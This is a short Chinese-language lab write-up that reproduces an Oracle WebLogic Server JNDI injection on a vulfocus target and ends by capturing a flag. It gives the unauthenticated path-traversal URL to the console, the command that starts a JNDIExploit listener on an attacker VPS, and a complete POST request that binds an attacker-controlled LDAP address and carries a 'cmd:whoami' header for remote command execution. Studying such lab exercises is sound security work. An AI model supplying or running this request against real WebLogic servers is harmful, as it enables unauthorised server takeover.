0x01 漏洞描述

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。 攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

0x02 漏洞环境

vulfocus

0x03 漏洞复现

1、访问/console/css/%252e%252e%252f/consolejndi.portal,此页面存在未授权访问漏洞,那么漏洞就存在。

<http://vulfocus.fofa.so:27740/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&JNDIHomePortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29>

Untitled

2、vps上利用JNDIExploit-1.2-SNAPSHOT.jar进行监听。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x(vps_ip)

Untitled

3、抓包,发送如下数据包。

Untitled

POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://111.116.111;118:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: vulfocus.fofa.so:27740
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
cmd:whoami
Connection: close
Cookie: admin_username=admin; ADMINCONSOLESESSION=Iv3sD0i-tQMDnICLiN33CwM9QjCZh2GDyP1-hoTbpLYIPhrhwBgf!1223688567
Upgrade-Insecure-Requests: 1
Content-Length: 4

4、获取flag。

Untitled

参考:

http://www.smatrix.org/forum/forum.php?mod=viewthread&tid=1288&extra=